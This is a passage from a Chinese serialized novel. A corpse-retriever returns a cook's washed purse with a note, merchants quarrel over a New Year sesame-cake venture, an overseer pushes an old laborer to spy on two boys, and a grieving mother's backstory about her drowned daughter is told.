“大力哥好不容易请假回去陪嫂子,没想到还要被宋管家管着,咱们的命可真苦啊!” 同僚们故作哀嚎,闹过一阵又嘻嘻哈哈地笑开了。 有机灵鬼深知他们宋小哥的秉性,还不待人家开口,就拎着水盆先去洗漱了。 一行人抢完饼子又去抢盆,那人却甩甩手上的水渍,舒舒服服的走了回来。 打开纸包吃饼的同时,还不忘朝宋小哥眨眼睛,“哎,宋儿,我问你个事~” 这同僚日常最是八卦,上到岳常的风流韵事,下到谁家的猪崽儿配种,反正就是没有他说不到的。 如今又这么亲密地喊他—— 宋小哥微微挑眉,丢下一句“我还有事”,转身就要进门去。 谁知那小八卦没眼高低,几步跟上来,逮到就问:“大力哥帮你收东西时被我给看到了,我见那小荷包秀气的很,不像咱们男子所用,所以……你这到底是给谁洗的呀?” 小八卦围在他身前身后闹腾,宋谨却一声都没吭。 宋小哥进门就看到荷包放在枕头边上,走过去拿起,将里面原有的几枚铜板又塞了回去。 荷包往怀中一揣,人便预备往外走。 小八卦见他这么珍视荷包,八卦之心如火燎原,简直熄都熄不灭。 几步跟到大门边,眼珠子一转悠,大喊道:“喂宋谨,你耳朵红了!” 宋谨忙伸手捂了下,小八卦就“哈哈哈”的大笑起来。 其余人见了,也想围过来说话,宋谨立刻提着纸包走出门去。 小哥难得走的这般快,眨眼间就不见了踪迹。 那日他拾起荷包便猜出这是褚朝云的东西,河底淤泥脏污,荷包内里渗进不少,总不好这样脏兮兮地还给人家,他这才拿回来洗了一洗。 可同僚们实在太爱玩笑,他本没有其他杂念,都被这群家伙逗的待不下去了。 不过擅自洗了人家的东西,确实该说一声。 他原本是想拜托刘新才递一句话,又觉得这样太过随便,就提着纸包去了老头院子,借了书房的笔墨纸砚。 这会儿子,刘新才和柳文匡热热闹闹上了花船,为了给姑娘挣点业绩,就一人喊了一个。 柳文匡喊了春叶,毕竟他最初就是春叶的熟客。 刘新才比较照顾褚惜兰,又知晓褚惜兰是褚朝云的姐姐,所以偶尔就会多顾着些。 不过既然二人是结伴来的,李婆子当然精打细算的将他们带去了一间房里,刚好腾出来一间,还能招待其他客人。 一年忙到尾的日子,几乎是人人都闲不下来。 花船的客人越来越多,李婆子不得不打起精神做事,连痛失亲人的打击都忘到脑后了。 不过自褚朝云回来之后,女子便注意到了一件事情。 李婆子似乎对她的恨意又深了些,每每二人遇上,老刁妇那咬牙切齿低模样,就好像李二达是被她给杀掉的一样。 褚朝云不知这恨意从何而来,李婆子自然也不会解释给她听。 刘新才和柳文匡跟褚惜兰二人刚一碰面,两位姑娘便知他们是为什么而来。 正要将他们迎进门去,就见蕙娘招呼着张满春也走了过来。 刘柳二人互看一眼,就都吃惊的看向了张满春。 张满春忙着万春楼的生意可是从不到花船上来,今个破天荒在船上遇见,不只他们,就连李婆子都感到惊讶了。 张满春手里也提着几个彩色的小盒子,遇上二人还贼兮兮地笑了一下。 柳文匡眯了眯眼,不满道:“你个老东西怎么也上来了?” 他可不愿张满春跟褚朝云搭上线,否则自己这个中间商,还怎么赚差价了。 张满春鼻腔哼出一声,跟俩人进了同一个雅间,东西往褚惜兰手中一放,就坐下来说:“谁叫你催命鬼似的催我去长业寺,如今褚姑娘夺魁,那新上任的方丈又对她满意的不得了,褚姑娘现在可是长业寺的红人,我为什么不能巴结巴结。” 张满春倒是实在,半点都没藏着掖着。 张老板话一说完,三位站在一旁的姑娘都不由得笑了起来。 柳文匡白了张老板一眼,心里有话却压着不讲。 刘新才倒是实心眼,把自己的礼盒递上之后,又特别将那份临县带回来的小饼跟荷包,单独交给了褚惜兰。 “姑娘,这一份是宋小哥的,拜托你送去给褚姑娘吧。” 褚惜兰自然知晓宋谨是何人,她微笑着接过,将其放在了身边的小几上。 正事办完,刘新才也没避忌,就又说道:“胡记芝麻小饼虽说味美,但价钱着实坑人,可府衙不管这一摊,不知褚姑娘能不能帮着出一份力,试着做些新年的小饼出来,打压打压胡记也好。” 刘老板这话不是为了自己。 但柳文匡一听,心里那算盘珠子顿时崩落。 他啧啧不满的蹬着刘新才,像是根本没想到对方会提这茬,“嘿,我说你这人——” 刘新才不解:“我咋了?” 问过,再一看张满春也正对着他运气,便眉头一皱,实在想不明白其中关窍。 其实今个这三人齐聚过来送礼,除了是给褚朝云道贺,再一个,他们也都有各自的目的。 刘新才不想胡记一家独大,便预备请褚朝云想想办法。 褚朝云可是上了名厨册的,若是真能做出更香的芝麻饼来,胡记便不敢在那么嚣张。 大家买饼吃是为了这团圆的寓意,价钱若是定的过高,恐叫穷苦人家为难。 如此一来,这万民和乐的目的,也就达不到了。 而柳文匡,其实也是为了此事。 不过柳文匡没有刘新才那般胸怀,他刚好想借着褚姑娘“名厨第九”的名头,做出一款比胡记更高端贵重的小饼来。 但这赚银子的好事,他才不想带上张满春。 可张满春也是个滑头,闻着味自己就找过来了。 这话一摆在明面上,柳文匡便讥讽道:“你们万春楼可不缺这小饼,虽说做的不如胡记,但好歹是个大酒楼,还是不缺买饼的食客的。” 张满春呵呵一声:“你当我傻呀,要是这名厨第九都做了芝麻饼,谁还管我是不是万春楼了?” 柳文匡也不甘示弱:“所以这事,你是铁定要掺和一脚了呗?” 张满春:“那咋了?褚姑娘是你闺女?就帮你一个人赚钱呀?” 这俩人一来一回,不一会儿就争的脸通红。 刘新才在旁看着,纳闷道:“你俩不是好朋友么?这点事也要计较一番?” 柳文匡撇嘴:“有利,我俩就是朋友。” 张满春也翻白眼道:“没利,我俩就是冤家!” 刘新才:“……” 最后,这几人闹腾了好一会儿,还是褚惜兰出来平息了事端。 “眼下这还是没影儿的事,我三妹妹也未必就愿意应承下来,所以各位老板还是先别争了吧?” 三人闻言觉得确实有道理,就暂且闭了嘴。 …… 褚朝云下午干完了活,就进厨房去炒黄豆,黄豆炒完又把小米和糯米也分别炒了一些。 昨个徐香荷念叨油茶喝腻了,褚朝云自己也觉得犯腻歪,就想着在做些其他喝的来。 刚好见程月这几日做花生酪用剩了食材,她一时兴起,就手痒的想试一试。 把几样食材分别炒熟之后,褚朝云正用杵臼捣它们,褚惜兰就过来了。 “哎你怎么来了?” 褚朝云撩开碎发,手下倒是没停:“李婆子这阵子又抽疯了,整日看我眼眶子发青,你小心她把你也给盯上了。” 褚惜兰已经不像刚来的时候那般诚惶诚恐,这会儿稳稳当当下来,将酒壶往托盘上一放,就倚着小桌看她干活。 “她今个不在,抓不到我。” “不过我冒险下来确实有事,这不大家得知你夺魁了,三位老板都赶着过来给你道贺,晚间歇业,别忘了去我那儿取贺礼。” “三位?” 褚朝云没太反应过来。 褚惜兰笑着抬起手,用帕子帮她拭汗:“傻姑娘,还有万春楼的张老板呀。” “噢噢噢。” 褚朝云的确把这人给忘了。 离开六日,万春楼的糯米糕也停了供应,但刚回来这两天活儿不少,她还没倒出空去做新的。 不过三位老板也都理解,再加上大家又都认褚朝云的手艺,即便断货,食客们也只是隔三差五过来问问,倒也不敢太催。 褚朝云继续低头捣食材,褚惜兰就从袖口里拿出了荷包。 洗的干干净净的荷包递来,闻着像是还有股薄荷的香味儿。 女子“呀”的一声扔开杵子,一接过来,就爱惜的摸了摸:“大姐姐,是你捡到了我的荷包?!” 不过想想也不可能。 荷包明明掉进水下去了,褚惜兰根本也不会下河去。 “是宋谨捡到的。” “宋谨?” 褚朝云讶了下,抬起头来。 褚惜兰点头道:“他去捞随青娘子的尸体时,捡到了你的荷包。” “宋小哥有心了。” 褚惜兰虽没亲见宋谨,但确实对此人印象不错。 褚朝云听过又高兴地摸了摸荷包,隔着布料,便摸到了四四方方的一块东西。 她拉开封口,见里面躺着一张被叠得四方的纸,心中讶异,就迅速取出展开来看。 纸张嗅着有股子青草和药香味儿,还有刚才闻到的薄荷香,褚朝云心想,大概是宋谨身上掺了这些香,才会留在荷包之上。 宋谨是男子,自然不熏香。 因着他们的特殊工种,老头偶尔会给他们一些药材泡浴。 有时尸首放置时间过久,周身会散发腐烂之气,普通的东西是洗不掉那味道的,老头有自己的秘方,药材里加了不少的薄荷片。 而宋谨又时常会泡,身上才会留下这种味道。 很好闻,有种清清凉凉的舒适感。 展开纸张后,得见纸上的文字,褚朝云便惊愕地张大了嘴。 褚惜兰难得见她流露出这种表情,忙走过来:“怎么了这是?宋小哥说什么了??” 其实宋谨也没写什么,只是留书解释了一句:【淤泥脏了荷包,未经姑娘同意擅自清洗,望姑娘勿怪】 末尾的宋谨二字飘逸潇洒,笔走游龙。 这笔字,倒是和那温润如玉的性子有些相悖,让人见之,总有种亲见雪落寒梅的凛冽感。 好字啊! 褚朝云感叹之后,捂了下脸。 为什么她身边都是写字好看的,褚郁跟着项辰习字,想来不久也会大有进步。 就她一人写的如同狗爬…… 褚朝云差点就生出了,想跟宋谨学字的念头。 主要还是社畜几年养成的职业病,因为工作上总会接触新东西,而她又是那种学不会就睡不着的性子,多少有点该死的好胜心理。 褚朝云将信笺重新放回荷包,然后说道:“大姐姐稍等片刻,我托你办件事。” 褚惜兰往外瞧了一眼,见屋外此时没什么人,就应了声“好”。 褚朝云急着忙着离开厨房,回去隔间翻出纸笔,尽管这字是难看了些,但总归也没什么改善的办法。 她几笔写下一行字,稍微吹干墨迹,就再次返回厨房。 跑的有点急,额上很快又渗出些细汗。 但也没工夫擦,主要这事确实更为重要。 她将叠好的纸交给褚惜兰,然后低声嘱咐道:“拜托刘老板把这信交给宋谨,他看了便知。” 褚惜兰也没多想,接过收好,轻轻安抚道:“就算要道谢,也不急在一时的。” 她以为,三妹妹是想谢宋谨帮忙洗荷包,才回了信的。 褚朝云听后却摇了摇头,想到刁氏的托付……女子微微叹息一声:“我只是觉得,这事唯有宋小哥,才能帮上我的忙。” 第64章 二更 褚朝云托付褚惜兰的事,对方很快就办了。 而关于三位老板都惦记的胡记小饼,褚朝云也说了得空会考虑。 夜晚来的有些快,老陈洗漱出来就碰到了“无事不登三宝殿”的赵管事,赵大平时很少往劳工们的住处来,今个这一出,倒像是对方在故意等他似的。 赵大手里的鞭子从不离身,几乎是上茅房都会拿着。 不过自从上一次用在了方如梅的身上,这阵子鞭身倒也没在沾血。 赵大喊了他一声,老陈立刻心中发紧。 老陈上了年纪,已经受不住再来一顿鞭子,他缓缓挪腾着走过去,艰难的弯了下身,“赵管事……” 赵大定定地望向他,抿了抿嘴问出一句:“你最近,似乎跟那两个小的走的挺近?” 一见这人要打听的是褚郁和项辰,老陈稍稍的松了口气:“是。” 他战战兢兢地回应,身子始终也没敢直起来。 赵大似乎很满意他这副惧怕自己的样子,哼笑一声,继续开口道:“我问你答,答得好,明个午饭多给你一块肉吃。” “您说。” 老陈依旧是恭顺的态度。 赵大抱起双臂,冷淡发问:“你有没有听到,他们私下里谈论过李二达的事?” 李二达已经是个死人了,还提他做什么? 老陈有那么一瞬间,似是不太懂赵大的意思。 可一想到那死人曾跟两个小的有过节,而且除了他,赵大也保不齐还会问旁人,便老老实实地回了声:“是谈论过。” 赵大见真能从这人嘴里抠出东西来,神情不免又认真了几分:“那你给我讲讲,他们都说了李二达什么。” 老陈又应了声“好”,进而努力思索起来。 思绪沉了几沉,才犹豫着开口道:“两个小的确实很讨厌李二达,因为李二达用鞭子抽过他们,尤其是褚郁,似乎要更厌恶他一些。” 毕竟褚郁还不太懂隐忍,不似项辰有天生就爱冷脸的优势,所以相比起来,褚郁的情绪就更分明些。 “嗯,还有呢?” 赵大饶有兴致的追问。 “没有了。” “真的?” 赵大明显不信。 老陈再次陷入纠结。 毕竟和赵管事周旋犹如踩着冰面过河,一个不慎,就容易跌下去再也爬不上岸了。 比起李二达,赵大明显要精明许多,像是看出了他还有所隐瞒,便一手拍在他的肩上,声音压低道:“老陈,你一定很想离开这里吧?” 赵大虽说的轻飘飘,可老陈听过之后,一双眼却猛烈地瞪了起来。 几乎是连恐惧都顾不上了,老陈弥漫着血丝的瞳孔放大再放大,半晌,他颤颤巍巍地张了下口,然后才不确定地问道:“我、你……你真的会放我走吗?” 赵大勾了勾唇,收回手时还嫌恶地在衣襟处蹭了蹭:“那要看你答得如何了。” 他语调轻慢,态度不明的丢出一句。 老陈左思右想,随即咬了咬牙:“虽然他们确实憎恶李二达,但当真没有动过旁的心思,小孩子家年纪轻,最多就是爱写两笔字骂一骂也就罢了。” 不得不说,赵大给出的条件非常有吸引力。 可褚郁和项辰没做过的事,他也不能随便添油加醋编排。 见老陈还是一样的答案,赵大似乎放了点心,不过关注点很快转移到了其他方面,“他们两个都认字?” “都认字,空了就喜欢在地上写写练练的。” 老陈其实不怎么识字,所以他并不知道褚郁是跟着项辰学字的,平日就总看俩小的蹲在地上写,就理所应当的这么想了。 而且那阵子,褚郁总会边写边骂李二达,老陈就猜测,这小家伙写的字,大概也是在骂人。 也不知这回答是否让赵大满意,老陈心中惦记“回家”的事,可实在又没勇气追问。 赵管事是个喜怒无常的人,他可以上一秒对着你笑,下一秒就举刀相向。 虽说不太愿意接受现实,但老陈还是不停安抚着自己,自己哄自己的说:可能赵管事只是想套话,才故意提起放他走的事,还是别太当真的好。 毕竟,从没有人活着离开过这里。 他又胡乱的抱什么奢望呢。 正要请示着回房去,赵大就又说:“你替我看着他们,看看他们平时都做些什么,若是任务完成的让我满意,关于放你走的事情,我真的会好好考虑一下。” 被浇灭的希望又再度燃起,老陈又一次露出了震惊般的神情。 赵大似乎是很讨厌这里的气味儿,说完话,就快步离开了胡同。 褚郁和项辰早就洗漱完了,刚刚躺在炕上随便聊着,他们还不太困,可其他劳工却已经困得睁不开眼。 二人不想自己的说话声影响大家睡觉,索性就出来溜达溜达。 看到老陈望着胡同口的方向发呆,褚郁就蹦跳着跑了过去,“陈叔,你看什么呢?” 项辰也从身后过来,眼中略带关切:“外面很冷,收拾完就回去睡吧。” 老陈发了会儿怔,直到听见他们的说话声,人才回过神来。 只是他人虽清醒了,可意识还停留在“想要回家”的念头上,见到他们二人出来,就有些木讷地问了句:“你们怎么还不睡?” 问完,他就想起这俩小的总跟个抬尸体的一起说话,难不成是那人又来了? 他不由得又往胡同口看去一眼。 有那么一刻,老陈特别期待宋谨的到来。 因为这样,他就有办法跟赵大交代了。 哪怕只把宋谨交出去……就说,是宋谨非要缠着褚郁和项辰也好。 只要能交了差,那么他回家的事情也就有盼头了。 不过胡同口黑漆漆的,长街上的剪纸灯笼也还没全部挂起,此刻那处空无一人,连只野猫都不愿路过。 老陈似是有些失望,目光呆滞地往屋子里走。 身后的褚郁和项辰狐疑地看了眼彼此,小孩子通常都最天真,但也最敏锐。 对长辈的刻板印象容不得一丝一毫的偏差,若是对方做出和平时行为不符的事情来,他们也能够马上就看出端倪。 尤其,老陈的失望就写在脸上,连隐藏都忘记了。 褚郁和项辰蹲在墙根下写字,只是才写了没一会儿就觉得冻手了。 冬天总不比其他时节,尤其还是在夜里。 二人正商量着要回屋去,板车轮胎压过地面的声音就响了起来。 最近蕤洲飘了淡淡的清雪,虽然只有薄薄一层,但轱辘转动起来,还是压出了轻微的“咯吱咯吱”声。 “是宋大哥吗?” 褚郁眼睛亮了一下,倒是自己先学起了野猫叫。 项辰看着身边少年,无奈地扶额,然后拉着他“嘘”出一声:“别叫了,再把人给喊起来。” “宋大哥也是这样叫的。” 褚郁不服气。 项辰认真的否定了他:“不,你这个太难听了。” 褚郁扁扁嘴:“……你变了,小辰。” 项辰:“……” 宋谨推车过来时,就看到两个小的站在雪地上,正面对着面的讨论着什么。 他将板车停到一旁,扑落几下肩头的雪,就迈步走了过来。 宋谨手里捏着个布包,看着有点厚实,像是用布条裹了好多层。 两个小的一见真的是他,就立刻放弃争论,快步走了过来。 “宋大哥!” 二人异口同声,但也格外注意着压下音量。 宋谨分别摸了摸他们的脑袋瓜,摸到一手雪,又帮忙扑落几下,然后就蹲下身说道:“快帮我个忙,很急。” 今个白日他原本休假,奈何褚朝云有事相托。 宋谨去集市上寻了一大圈,西码头的几条街都被他给走遍了。 最后又搭了阿四的船去东码头,因为东码头更为繁华,整整跑了一小天,才千辛万苦找到了这三只小铃铛。 他小心翼翼打开布包,为了避免铃铛会响,还提前在里边塞了根麻线。 三只小巧的铃铛形态各异,看着都是满月婴孩儿才会佩戴的那种。 褚郁和项辰望着铃铛,没太明白他的意思。 宋谨一一扫过,然后说道:“还是小郁来吧,帮我挑一个。” “挑?” 褚郁虽然多了一丝被钦点的荣幸,可还是迷茫着挠了挠头。 宋谨也不知该怎么表达才好,手指抵在下颌处想了一会儿,而后缓缓说道:“你就照着感觉选吧,可以依据自己的喜好,或者……这三只铃铛里,你有没有见过的?” 有了参考,褚郁倒是知道该怎么选了。 借着月光,他仔细地瞧了瞧铃铛,然后毫不犹豫地拿起最右边那只:“那我选这个,因为我只见过这一种的。” “你见过?” 宋谨似乎有些高兴。 褚郁点点头:“是啊,这种最常见了,以前褚寻也有一只。” 想到褚寻早已病逝,少年有片刻叹息,跟着,视线又放到旁边的两只上,摇着头道:“而且这两个看起来好贵啊,我阿爹阿娘可买不起。” 项辰家境富裕,眼光和褚郁有所不同,哪怕宋谨没叫他挑,他也按捺不住地说了一句:“我觉得左面的最好看,我儿时就佩戴过一模一样的。” “好是好,但你选的不能作数。” 宋小哥若有所思。 项辰费解:“为何?” 因为佩戴此物的女童家境也不富裕,而他儿时就没戴过铃铛,家中长辈送了他一块白玉,所以想要选出一个最恰当的,必须得是褚郁。 想来,那小姑娘的父母也得根据经济能力来挑选礼物,自然不能考虑太过贵重的。 不过宋谨买这些倒是也没花太多银钱,因为这几样都是在东码头的二手市场淘来的。 他将另外两只一人一个送给了褚郁和项辰,又嘱咐了句:“记得洗过再戴。” 然后就把褚郁挑出来的那个,又包了起来 正事办完,想到自己怀里还揣着芝麻小饼,宋谨立刻拿出来分给他们。 考虑两个小孩没有自己的屋子,没办法存放,倒也没拿很多过来。 一人两张小饼,吃完了,这祝福就等于是送到了。 因着之前李二达的关系,宋谨有很久没来过了,所以今个打算多呆一会儿,等两个小的吃完了饼再回。 褚郁和项辰难得吃到这么美味的芝麻小饼,吃的很急,但还有点舍不得吃完似的,珍视的连个渣渣都不想放过。 温乎乎的饼子下肚,二人才把心中的疑问讲了出来。 “宋大哥,我们最近交到朋友了。” 褚郁喜笑颜开的说。 项辰在旁边纠正他:“准确来讲,应该叫忘年交。” “对,忘年交。” 褚郁重复一声,又想起刚刚老陈的异样,便继续说道:“不过陈叔……他看到过你来找我们说话,而且今晚,我老是觉得他有心事的样子。” 交到朋友这件事,在褚郁他们这种处境之下,未必是什么好事,但也不见得就一定不好。 宋谨不好妄下评断。 不过听到这中间似乎有点问题,宋小哥就示意他们接着说。 项辰:“他今晚总盯着胡同口看,就是你来的那个方向。” “其实也不能说是宋大哥来的方向,从这里出去就那一条路,谁来都要走的。” 褚郁纠正道。 项辰:“话是没错,可咱们出来之前,门外好像有什么人在交谈,我隐隐听到几声,就是没听清楚。” 褚郁:“可是那会儿除了陈叔,大家都在炕上躺着啊……” 二人连说带猜,彼此也都没太描述明白。 宋谨思虑一番,便叫他们这几日要多谨慎些。 离开之前,似是不太放心,就又低声提醒了一句:“与人相交没什么问题,但若要深交,还需多多观察,别被人家骗了去才好。” 那位陈叔听上去不如李二达的威胁大,但宋谨也还是得提点他们防备着些。 毕竟自己没办法时时照顾到,一切还得靠两个小的自己警醒点。 那晚之后,老陈又恢复到正常的态度。 胳膊腿养的差不多了,很多重活就也都能干了,不过这一阵难过的日子确实是褚郁和项辰帮着度过的,老人家心中五味杂陈,一时间竟不知该怎么做才好。 午休的时候阳光充足,两名少年就坐在墙根下边晒太阳边吃馍。 两只汤碗放在身边,只是二人还没有去动。 老陈拿着馍端着碗坐到他们一旁,一阵油香飘过来,褚郁率先往对方碗里看去,汤水中竟是搁着一大块肥瘦相间的猪肉。 猪肉的油蕴开在汤里,一圈圈油光不停散发着诱人的味道。 竟然是肉! 多少个月没吃到过了!! 二人本能咽了一下口水。 褚郁则艰难的转回视线,强迫自己只看手里的馍。 老陈看到了他们的反应,也知道他们很馋,同为天涯苦命人,谁又敢说自己不馋呢? 只不过,他除了馋之外,还多了几分愧疚。 哪怕那晚他真的没跟赵大说什么,可为了自己能离开这儿,也还是答应了赵管事帮忙盯梢。 太可耻了。 他竟然要靠着出卖小孩子来换取自由! 老陈心中越发酸楚,于是狠了狠心,将那肉块一分为二,全部都分给了褚郁和项辰。 二人讶然地看了看自己的碗,又将目光转向他:“陈叔,你……” “我一把年纪了,没几天活头,你们这个岁数正是长身体的时候,多吃点肉总归有好处。” 说着,目光暗了一下,闷闷催促道:“快吃吧,凉了就腻了。” 项辰听着他说话,却并没去动那半块肉。 褚郁则端起碗,嘴巴咬着馍,腾出来的手拿起筷子,又把肉块夹了回去,“就是因为你岁数大,才更要补身体啊,我吃不吃都行的。” 说着,就凶狠狠地咬了一口馍。 干馍填满口腔,他就感受不到分泌不停地口水了。 项辰看了一眼,把自己的肉块夹给他,“你吃吧,我吃饱了。” 褚郁立刻递了回去:“你吃,你吃了下午多帮我干活。” 项辰皱眉:“你吃,我帮你多干活。” 褚郁:“你吃,要不我不好意思叫你多干活。” 两个人推来推去的玩闹起来,他们无聊的时候总会闹,大概也是为了解闷,只是那半块肉让来让去,谁都不太舍得去吃。 老陈颤抖着将肉放入口中,吞咽时却觉得有些刮喉咙,明明那肉做的很入味,很滑腻。 他胡乱吃了几口馍,喝完汤就起身先去干活了。 褚郁在身后看他几眼,想到昨晚宋谨的提醒,低声咕哝一句:“我还是觉得老陈叔有点不对劲……” 项辰理性的看向碗中的肉,“所以,今个工头为什么要多给老陈叔一块肉吃?”- 宋谨的事情办的很有效率,午时将过,褚朝云就收到了东西。 女子瞧着铃铛里塞着的麻线,欣慰的想:果然没有托付错人,宋小哥还真细心。 她揣好东西,见这会儿没什么活,就先回了自己的隔间去写食单。 食单上的菜式是过几日去长业寺要准备的,因为是第一次去做素斋,她总想先拟定出一份,再跟清禅师傅一同商议。 褚朝云坐在床边安静的写,手搭在脚凳上,被日头照的热热的。 今日无风且艳阳高照,她就把窄窗抬上去一点,给这屋子里透些新鲜空气。 门没关严,缝隙外分明站了一道人影。 褚朝云余光瞟过去,兀自叹了下,放下毛笔起身过去开门,见刁氏正扭捏的站在那儿,就搀扶着将人带进了门。 “婶子且安心,我今晚便下河去。” 坐下之后,她便低声说。 “这会儿水太冷,要不然还是算了,要不然……” 刁氏失了平日里的沉稳,一会儿担忧她的身子,一会儿又想叫她下河去。 左右为难了半天,就连说出来的话都有点语无伦次了。 褚朝云轻轻拍了一下她的手背,然后握住,声音柔和道:“放心,我今晚会把该穿的行头都穿上,上次去捞荷包是意外,今个不会那么仓促了。” “是……是了。” 刁氏应过,就捏着双手,呆呆地坐在一旁不再言语。 眼下,褚朝云也不太方便多问什么,见刁氏几乎六神无主的样子,就默默在旁陪着。 刁氏坐了一会儿,似是觉得有些冷,打了个哆嗦之后,神情也更加的落寞。 忽的,徐香荷在门外“啾啾”两声。 褚朝云起身出去,徐香荷就将她往自己房里拉,然后小声道:“朝云,那事你有把握吗?我看婶子的精神都不太对了。” 徐香荷刚刚是不太敢进去,说完一句,就没头没尾地絮叨起来,想来也是彻底没了主意。 “你不知道,你去长业寺那日宋小哥正下蕤河去捞尸首,婶子那会儿还在船上看那,可等随青娘子的尸体一被捞起来,她脸色顿时就白了。” “要不是方婶子看出不对,在旁边扶着,她都要晕过去了。” “我原以为婶子是被吓的,毕竟随青在水中泡了多日,确实——哎!” “可之后那几日,婶子就日夜不安起来,干活时不是针扎到手,就是柴火烧到手,晚上睡觉翻来覆去,我在最里面都听的一清二楚。” 她确实也问过刁氏原因,可每每提起,刁氏就是不愿意说。 此刻,她抓着褚朝云的手不停叹气,“我是实在没主意了,她可从没这样过啊……” 刁氏这几日连着精神恍惚,也就褚朝云刚回来那天,她才勉强撑着强打起了精神头。 徐香荷不怕别的,只怕这人夜里发梦,无知无觉地掉下水去。 毕竟这样消靡,很容易闹出人命。 褚朝云垂眼听着对方的长篇大论,末了,只说一句“我知道了,你且放心”,就推门出来,又回了自己那儿。 见刁氏浑身还在发抖,她索性关上窗子,把煤油灯给点着了。 “午时没吃饱,我去端点吃的来。” 褚朝云借口出去,进了厨房将那日捣碎的一些炒粉冲泡了一碗,热水倒入碗中,白色细腻的香味登时就飘了出来。 这粉捣的细碎,用勺子搅和搅和,粘稠的都能拉丝。 这是她新发明的糯米酪,只是还没来得及喝。 白日里船上人来人往,她自然不会明晃晃的端三大碗回去。 所以只泡了一碗,是专门安刁氏的心的。 回来隔间后,她将手中的糯米酪递过去,碗底有些烫,刁氏的手很快就被暖了起来。 只是妇人完全没什么胃口,哪怕这糯米酪在香甜,也比不得她心中的苦。 褚朝云坐过来,看着她说:“这么坐着时间过得会更慢,我方才和钟管事请示过了,她准了您下午的休息,活我跟香荷会帮您干,喝完糯米酪好好地睡一觉,再一睁眼,您的愿望就能实现了。” 刁氏握着碗的手指抖了抖,这才听话的开始往嘴巴里送食物。 下午出去干活前,褚朝云将刁氏送回隔间歇息,然后跟徐香荷一块去了船尾忙活。 心中有事,时间过得的确慢些。 徐香荷一个下午往天上望了好几回,总觉得今个这太阳像是焊死在云层上了一样,一步都不肯往西边挪腾。 就这么数着时辰过了许久,慢慢的,总也捱到了晚上。 喧嚣散去,华灯初上,蕤河的夜色很美,只是这会儿没谁有心情去赏景。 穿戴完备的女子从木梯上来,几步便走到了船栏处。 在她身后,徐香荷搀扶着刁氏,也一步一步跟了上来。 刁氏眼中有泪,徐香荷看了也于心不忍。 褚朝云站在船板之上,瞥了一眼被风吹起的河面,将手中握着的物件塞好在衣襟内。 耳畔不由得,又响起那日妇人乞求的声音。 刁氏哽咽着说:“朝云,我的囡囡……她就死在这条河里,死的时候,她才只有七岁啊……” 女子喟叹一声,再望一眼滚滚的水面,跟着一纵身,就跳进了河水中。 第65章 二更 褚朝云跳下去的那一刻,刁氏的心仿佛也跟着落进了水里。 早年,她被家中随意配了个人,可那人并非良配。 刁氏生下孩子后,夫君嫌恶囡囡是个女娃,整日里也不好好做生意,赚来的银子不是喝酒就是赌钱。 囡囡身体不好经常生病,刁氏要不来钱还要挨一顿毒打。 某日夜里,囡囡实在撑不住,烧坏了脑子,人就变得痴傻起来。 那人见闺女傻了,将来肯定嫁不出去,失望之下又把刁氏给打了一顿,然后就跑出门去喝大酒了。 蕤洲的冬天极少下雪,不成想,那夜不但飘了一夜的雪,连路面都冻的开始打滑。 刁氏的夫君从酒肆出来已经喝的酩酊大醉,一个不慎,就摔倒在地。 一夜雪后,人就被冻死了。 刁氏无所谓夫君死活,只想着要怎么才能治好囡囡。 眼见年节将至,囡囡便吵着想叫她带自己出去买花灯,刁氏抱着女娃去了街上。 长街两旁的剪纸灯笼将天幕都映衬的通红,喜庆的日子热络的氛围,刁氏心中的阴霾也跟着减轻不少。 囡囡手上挂着一条红绳穿的铃铛,小铃铛是女娃唯一的物件。 因为实在太穷,囡囡连只小银锁都戴不起。 所以她很珍视那只铃铛,哪怕人已经变得痴傻,但也知道,只要她一摇晃小铃铛,阿娘就会开心的笑起来。 囡囡挑中一只小兔子花灯,刁氏抱着她拿银钱不方便,于是就将女娃先放下来。 刁氏低头拿铜板时,还能听到囡囡摇铃铛的声音。 可等花灯到手之后,铃铛声就不见了。 囡囡不知去了哪儿。 长街上人来人往,刁氏疯了一样在人群中寻着,喊着。 手中攥着女儿亲手挑选的那只花灯,嗓子喊得连声音都发不出来,也还是没寻到囡囡的身影。 自从那天起,刁氏就彻底崩溃了。 新年伊始,西码头长街上的庙会热闹欢庆,刁氏却如同疯妇一般一刻不停的再寻找着。 她从除夕寻到了十五,原以为是彻底没了希望。 忽的一日有人送信过来,对方看着是个脸生的小哥,说话彬彬有礼,瞧着便像是哪家的小厮。 那人送的是口信,大概意思是说,有人看到了她的囡囡,就在挑选花灯那天,小女娃一个人跑到了西码头的栏杆处向下张望,结果没抓住把手,就跌落进了蕤河里。 刁氏起初不信,可小厮完完全全的描述出了囡囡的穿着打扮,还有手腕上挂着的小铃铛,几乎一字不差。 妇人终于信了。 于是她不顾冬日水冷,呼喊着跑去码头,直接下了河去,想要找一找女儿的尸体。 毕竟是过了半个月的事,找到的希望实在渺茫。 刁氏不会凫水,站在河里几次往下扎时,都被呛的险些昏死过去。 然而,妇人每一次要淹死时,钟管事都巧妙的出现在了那里,并且吩咐着小厮将人救上岸,却从头至尾都不说一个字。 刁氏反复在冷水里泡着,接连一个月之多,腿疾就那么落下了。 还有那双眼,也是因为哭的太久,所以就花了。 后来刁氏去了府衙,想求岳常帮忙捞一捞囡囡的尸骨,女儿虽然惨死,总也要有一座坟才行。 毕竟活着的时候就已经很不幸了,别死了还没个地方落脚。 但刁氏并未见到岳常。 因为那段日子岳知府去了京中,回来之后又接连忙起了案子,这么一拖就拖了数月之久。 那一阵子,来报信的小厮总给她送吃的穿的,时不常就照应一下。 后来刁氏总算熬到了岳知府肯见她,岳常也只是唉声叹气地劝说道:“已经过了这么久,尸体都没有被渔民发现,想必早就不在西码头了,就算下去了,也是徒劳。” 其实刁氏知道岳常的分析在理,若囡囡还在蕤河,尸首早就浮上来了。 岳常贵人事忙,安抚之后就叫人好生送走了她。 刁氏只是一名没什么见识的妇人,就连书也没怎么读过,那些与人相交和辨人的技巧,也都是跟着夫君做生意的几年里,一点一点积累到的。 得知求助岳常无望,且蕤洲也并没有私人打捞队,刁氏心如死灰,便决定一死了之。 而这一次,又是钟管事救了她。 钟纯心告诉她,蕤河上的这条花船是离囡囡最近的存在,与其这样毫无价值的死去,不如就留下来陪着囡囡。 钟管事惋惜她的丧女之痛,就私下跟她定了一条规矩。 如果什么时候不想再留下来,走了便是。 刁氏是被钟纯心唯一默许可以离开花船的人,只是这一条规定其他人都不知晓,所以刁氏偶尔下船去采购些东西,或是给姑娘送饭,钟管事也从不会管。 但刁氏能够随意下船,赵大却早就心生不满。 